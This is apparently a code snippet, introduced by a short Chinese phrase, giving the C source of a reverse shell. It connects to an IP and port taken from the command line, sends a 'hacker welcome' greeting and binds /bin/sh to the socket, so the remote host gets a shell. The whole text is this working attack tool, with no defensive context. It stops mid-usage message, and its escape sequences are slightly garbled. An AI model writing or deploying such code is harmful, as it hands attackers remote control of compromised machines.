代码如下： 1#include <stdio.h> 2#include <sys/types.h> 3#include <sys/socket.h> 4#include <unistd.h> 5#include <fcntl.h> 6#include <netinet/in.h> 7#include <stdio.h> 8#include <sys/types.h> 9#include <sys/socket.h> 10#include <unistd.h> 11#include <fcntl.h> 12#include <netinet/in.h> 13#include <netdb.h> 14 15void usage(); 16char shell[]="/bin/sh"; 17char message[]="hacker welcomen"; 18int sock; 19int main(int argc, char *argv[]) { 20 if(argc <3){ 21 usage(argv[0]); 22 } 23 24 struct sockaddr_in server; 25 if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { 26 printf("Couldn't make socket!n"); exit(-1); 27 } 28 29 server.sin_family = AF_INET; 30 server.sin_port = htons(atoi(argv[2])); 31 server.sin_addr.s_addr = inet_addr(argv[1]); 32 33 if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { 34 printf("Could not connect to remote shell!n"); 35 exit(-1); 36 } 37 send(sock, message, sizeof(message), 0); 38 dup2(sock, 0); 39 dup2(sock, 1); 40 dup2(sock, 2); 41 execl(shell,"/bin/sh",(char *)0); 42 close(sock); 43 return 1; 44} 45 46void usage(char *prog[]) { 47 printf("Usage:……
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